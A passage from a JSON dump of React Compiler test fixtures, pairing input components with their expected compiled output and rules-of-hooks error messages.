    "content": "function Component(foo, ...{bar}) {\n  return [foo, bar];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['foo', {bar: 'bar'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b) {\n  if (a == null) {\n    return null;\n  } else {\n    return b;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b) {\n  if (a == null) {\n    return null;\n  } else {\n    return b;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.js",
    "content": "function foo(a, b) {\n  if (a == null) {\n    return null;\n  } else {\n    return b;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback-structure.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees\n\nimport {useRef} from 'react';\n\ncomponent Foo(cond: boolean, cond2: boolean) {\n  const ref = useRef();\n\n  const s = () => {\n    return ref.current;\n  };\n\n  if (cond) return [s];\n  else if (cond2) return {s};\n  else return {s: [s]};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: false, cond2: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\n\nimport { useRef } from \"react\";\n\nfunction Foo(t0) {\n  const $ = _c(4);\n  const { cond, cond2 } = t0;\n  const ref = useRef();\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => ref.current;\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  const s = t1;\n\n  if (cond) {\n    let t2;\n    if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t2 = [s];\n      $[1] = t2;\n    } else {\n      t2 = $[1];\n    }\n    return t2;\n  } else {\n    if (cond2) {\n      let t2;\n      if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t2 = { s };\n        $[2] = t2;\n      } else {\n        t2 = $[2];\n      }\n      return t2;\n    } else {\n      let t2;\n      if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t2 = { s: [s] };\n        $[3] = t2;\n      } else {\n        t2 = $[3];\n      }\n      return t2;\n    }\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ cond: false, cond2: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"s\":[\"[[ function params=0 ]]\"]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback-structure.js",
    "content": "// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees\n\nimport {useRef} from 'react';\n\ncomponent Foo(cond: boolean, cond2: boolean) {\n  const ref = useRef();\n\n  const s = () => {\n    return ref.current;\n  };\n\n  if (cond) return [s];\n  else if (cond2) return {s};\n  else return {s: [s]};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond: false, cond2: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees\n\nimport {useRef} from 'react';\n\ncomponent Foo() {\n  const ref = useRef();\n\n  const s = () => {\n    return ref.current;\n  };\n\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\n\nimport { useRef } from \"react\";\n\nfunction Foo() {\n  const $ = _c(1);\n  const ref = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => ref.current;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const s = t0;\n\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback.js",
    "content": "// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees\n\nimport {useRef} from 'react';\n\ncomponent Foo() {\n  const ref = useRef();\n\n  const s = () => {\n    return ref.current;\n  };\n\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  if (props.cond) {\n    return undefined;\n  }\n  return props.value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  if (props.cond) {\n    return;\n  }\n\n  return props.value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.js",
    "content": "function Component(props) {\n  if (props.cond) {\n    return undefined;\n  }\n  return props.value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  if (props.cond) {\n    switch (props.test) {\n      case 0: {\n        x = props.v0;\n        break;\n      }\n      case 1: {\n        x = props.v1;\n        break;\n      }\n      case 2: {\n      }\n      default: {\n        x = props.v2;\n      }\n    }\n  } else {\n    if (props.cond2) {\n      x = props.b;\n    } else {\n      x = props.c;\n    }\n  }\n  x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  if (props.cond) {\n    bb0: switch (props.test) {\n      case 0: {\n        break bb0;\n      }\n      case 1: {\n        break bb0;\n      }\n      case 2:\n      default:\n    }\n  } else {\n    if (props.cond2) {\n    }\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.js",
    "content": "function Component(props) {\n  let x;\n  if (props.cond) {\n    switch (props.test) {\n      case 0: {\n        x = props.v0;\n        break;\n      }\n      case 1: {\n        x = props.v1;\n        break;\n      }\n      case 2: {\n      }\n      default: {\n        x = props.v2;\n      }\n    }\n  } else {\n    if (props.cond2) {\n      x = props.b;\n    } else {\n      x = props.c;\n    }\n  }\n  x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rewrite-phis-in-lambda-capture-context.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = 4;\n\n  const get4 = () => {\n    while (bar()) {\n      if (baz) {\n        bar();\n      }\n    }\n    return () => x;\n  };\n\n  return get4;\n}\n\n```\n\n## Code\n\n```javascript\nfunction Component() {\n  const get4 = _temp2;\n\n  return get4;\n}\nfunction _temp2() {\n  while (bar()) {\n    if (baz) {\n      bar();\n    }\n  }\n  return _temp;\n}\nfunction _temp() {\n  return 4;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rewrite-phis-in-lambda-capture-context.js",
    "content": "function Component() {\n  const x = 4;\n\n  const get4 = () => {\n    while (bar()) {\n      if (baz) {\n        bar();\n      }\n    }\n    return () => x;\n  };\n\n  return get4;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let useFeature = makeObject_Primitives();\n  let x;\n  if (useFeature) {\n    x = [useFeature + useFeature].push(-useFeature);\n  }\n  let y = useFeature;\n  let z = useFeature.useProperty;\n  return (\n    <Stringify val={useFeature}>\n      {x}\n      {y}\n      {z}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives, Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  const useFeature = makeObject_Primitives();\n  let x;\n  if (useFeature) {\n    let t0;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = [useFeature + useFeature].push(-useFeature);\n      $[0] = t0;\n    } else {\n      t0 = $[0];\n    }\n    x = t0;\n  }\n\n  const y = useFeature;\n  const z = useFeature.useProperty;\n  let t0;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Stringify val={useFeature}>\n        {x}\n        {y}\n        {z}\n      </Stringify>\n    );\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"val\":{\"a\":0,\"b\":\"value1\",\"c\":true},\"children\":[2,\"[[ cyclic ref *1 ]]\",null]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.js",
    "content": "import {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let useFeature = makeObject_Primitives();\n  let x;\n  if (useFeature) {\n    x = [useFeature + useFeature].push(-useFeature);\n  }\n  let y = useFeature;\n  let z = useFeature.useProperty;\n  return (\n    <Stringify val={useFeature}>\n      {x}\n      {y}\n      {z}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({useFeature}) {\n  let x;\n  if (useFeature) {\n    x = [useFeature + useFeature].push(-useFeature);\n  }\n  let y = useFeature;\n  let z = useFeature.useProperty;\n  return (\n    <Stringify val={useFeature}>\n      {x}\n      {y}\n      {z}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{useFeature: {useProperty: true}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(8);\n  const { useFeature } = t0;\n  let x;\n  if (useFeature) {\n    const t1 = useFeature + useFeature;\n    let t2;\n    if ($[0] !== t1 || $[1] !== useFeature) {\n      t2 = [t1].push(-useFeature);\n      $[0] = t1;\n      $[1] = useFeature;\n      $[2] = t2;\n    } else {\n      t2 = $[2];\n    }\n    x = t2;\n  }\n\n  const y = useFeature;\n  const z = useFeature.useProperty;\n  let t1;\n  if ($[3] !== useFeature || $[4] !== x || $[5] !== y || $[6] !== z) {\n    t1 = (\n      <Stringify val={useFeature}>\n        {x}\n        {y}\n        {z}\n      </Stringify>\n    );\n    $[3] = useFeature;\n    $[4] = x;\n    $[5] = y;\n    $[6] = z;\n    $[7] = t1;\n  } else {\n    t1 = $[7];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ useFeature: { useProperty: true } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"val\":{\"useProperty\":true},\"children\":[2,\"[[ cyclic ref *1 ]]\",true]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component({useFeature}) {\n  let x;\n  if (useFeature) {\n    x = [useFeature + useFeature].push(-useFeature);\n  }\n  let y = useFeature;\n  let z = useFeature.useProperty;\n  return (\n    <Stringify val={useFeature}>\n      {x}\n      {y}\n      {z}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{useFeature: {useProperty: true}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-3d692676194b.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nconst ComponentWithHookInsideCallback = React.forwardRef((props, ref) => {\n  useEffect(() => {\n    useHookInsideCallback();\n  });\n  return <button {...props} ref={ref} />;\n});\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.bail.rules-of-hooks-3d692676194b.ts:8:4\n   6 | const ComponentWithHookInsideCallback = React.forwardRef((props, ref) => {\n   7 |   useEffect(() => {\n>  8 |     useHookInsideCallback();\n     |     ^^^^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |   });\n  10 |   return <button {...props} ref={ref} />;\n  11 | });\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-3d692676194b.js",
    "content": "// @skip\n// Unsupported input\n\n// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nconst ComponentWithHookInsideCallback = React.forwardRef((props, ref) => {\n  useEffect(() => {\n    useHookInsideCallback();\n  });\n  return <button {...props} ref={ref} />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.expect.md",
    "content": "\n## Input\n\n```javascript\n// @skip\n// Unsupported input\n\n// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nconst ComponentWithHookInsideCallback = React.memo(props => {\n  useEffect(() => {\n    useHookInsideCallback();\n  });\n  return <button {...props} />;\n});\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nCannot call hook within a function expression.\n\nerror.bail.rules-of-hooks-8503ca76d6f8.ts:8:4\n   6 | const ComponentWithHookInsideCallback = React.memo(props => {\n   7 |   useEffect(() => {\n>  8 |     useHookInsideCallback();\n     |     ^^^^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   9 |   });\n  10 |   return <button {...props} />;\n  11 | });\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.js",
    "content": "// @skip\n// Unsupported input\n\n// Invalid because it's a common misunderstanding.\n// We *could* make it valid but the runtime error could be confusing.\nconst ComponentWithHookInsideCallback = React.memo(props => {\n  useEffect(() => {\n    useHookInsideCallback();\n  });\n  return <button {...props} />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-call-phi-possibly-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // This is a violation of using a hook as a normal value rule:\n  const getUser = props.cond ? useGetUser : emptyFunction;\n\n  // Ideally we would report a \"conditional hook call\" error here.\n  // It's an unconditional call, but the value may or may not be a hook.\n  // TODO: report a conditional hook call error here\n  return getUser();\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-call-phi-possibly-hook.ts:3:31\n  1 | function Component(props) {\n  2 |   // This is a violation of using a hook as a normal value rule:\n> 3 |   const getUser = props.cond ? useGetUser : emptyFunction;\n    |                                ^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  4 |\n  5 |   // Ideally we would report a \"conditional hook call\" error here.\n  6 |   // It's an unconditional call, but the value may or may not be a hook.\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-call-phi-possibly-hook.ts:3:18\n  1 | function Component(props) {\n  2 |   // This is a violation of using a hook as a normal value rule:\n> 3 |   const getUser = props.cond ? useGetUser : emptyFunction;\n    |                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  4 |\n  5 |   // Ideally we would report a \"conditional hook call\" error here.\n  6 |   // It's an unconditional call, but the value may or may not be a hook.\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-call-phi-possibly-hook.ts:8:9\n   6 |   // It's an unconditional call, but the value may or may not be a hook.\n   7 |   // TODO: report a conditional hook call error here\n>  8 |   return getUser();\n     |          ^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-call-phi-possibly-hook.js",
    "content": "function Component(props) {\n  // This is a violation of using a hook as a normal value rule:\n  const getUser = props.cond ? useGetUser : emptyFunction;\n\n  // Ideally we would report a \"conditional hook call\" error here.\n  // It's an unconditional call, but the value may or may not be a hook.\n  // TODO: report a conditional hook call error here\n  return getUser();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const useFoo = makeObject_Primitives();\n  if (props.cond) {\n    useFoo();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-conditionally-call-local-named-like-hook.ts:6:4\n  4 |   const useFoo = makeObject_Primitives();\n  5 |   if (props.cond) {\n> 6 |     useFoo();\n    |     ^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |   }\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.js",
    "content": "import {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const useFoo = makeObject_Primitives();\n  if (props.cond) {\n    useFoo();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({cond, useFoo}) {\n  if (cond) {\n    useFoo();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-conditionally-call-prop-named-like-hook.ts:3:4\n  1 | function Component({cond, useFoo}) {\n  2 |   if (cond) {\n> 3 |     useFoo();\n    |     ^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  4 |   }\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-prop-named-like-hook.js",
    "content": "function Component({cond, useFoo}) {\n  if (cond) {\n    useFoo();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const local = makeObject_Primitives();\n  if (props.cond) {\n    local.useFoo();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-conditionally-methodcall-hooklike-property-of-local.ts:6:4\n  4 |   const local = makeObject_Primitives();\n  5 |   if (props.cond) {\n> 6 |     local.useFoo();\n    |     ^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |   }\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-methodcall-hooklike-property-of-local.js",
    "content": "import {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const local = makeObject_Primitives();\n  if (props.cond) {\n    local.useFoo();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const local = makeObject_Primitives();\n  if (props.cond) {\n    const foo = local.useFoo;\n    foo();\n  }\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-condtionally-call-hooklike-property-of-local.ts:7:4\n   5 |   if (props.cond) {\n   6 |     const foo = local.useFoo;\n>  7 |     foo();\n     |     ^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n   8 |   }\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-condtionally-call-hooklike-property-of-local.js",
    "content": "import {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const local = makeObject_Primitives();\n  if (props.cond) {\n    const foo = local.useFoo;\n    foo();\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-dynamic-hook-via-hooklike-local.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const someFunction = useContext(FooContext);\n  const useOhItsNamedLikeAHookNow = someFunction;\n  useOhItsNamedLikeAHookNow();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n\nerror.invalid-dynamic-hook-via-hooklike-local.ts:4:2\n  2 |   const someFunction = useContext(FooContext);\n  3 |   const useOhItsNamedLikeAHookNow = someFunction;\n> 4 |   useOhItsNamedLikeAHookNow();\n    |   ^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-dynamic-hook-via-hooklike-local.js",
    "content": "function Component() {\n  const someFunction = useContext(FooContext);\n  const useOhItsNamedLikeAHookNow = someFunction;\n  useOhItsNamedLikeAHookNow();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-after-early-return.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  if (props.cond) {\n    return null;\n  }\n  return useHook();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-hook-after-early-return.ts:5:9\n  3 |     return null;\n  4 |   }\n> 5 |   return useHook();\n    |          ^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-after-early-return.js",
    "content": "function Component(props) {\n  if (props.cond) {\n    return null;\n  }\n  return useHook();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-conditional-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = props.cond ? (useFoo ? 1 : 2) : 3;\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-hook-as-conditional-test.ts:2:26\n  1 | function Component(props) {\n> 2 |   const x = props.cond ? (useFoo ? 1 : 2) : 3;\n    |                           ^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  3 |   return x;\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-conditional-test.js",
    "content": "function Component(props) {\n  const x = props.cond ? (useFoo ? 1 : 2) : 3;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({useFoo}) {\n  useFoo();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n\nerror.invalid-hook-as-prop.ts:2:2\n  1 | function Component({useFoo}) {\n> 2 |   useFoo();\n    |   ^^^^^^ Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks\n  3 | }\n  4 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-as-prop.js",
    "content": "function Component({useFoo}) {\n  useFoo();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-hook-for.expect.md",
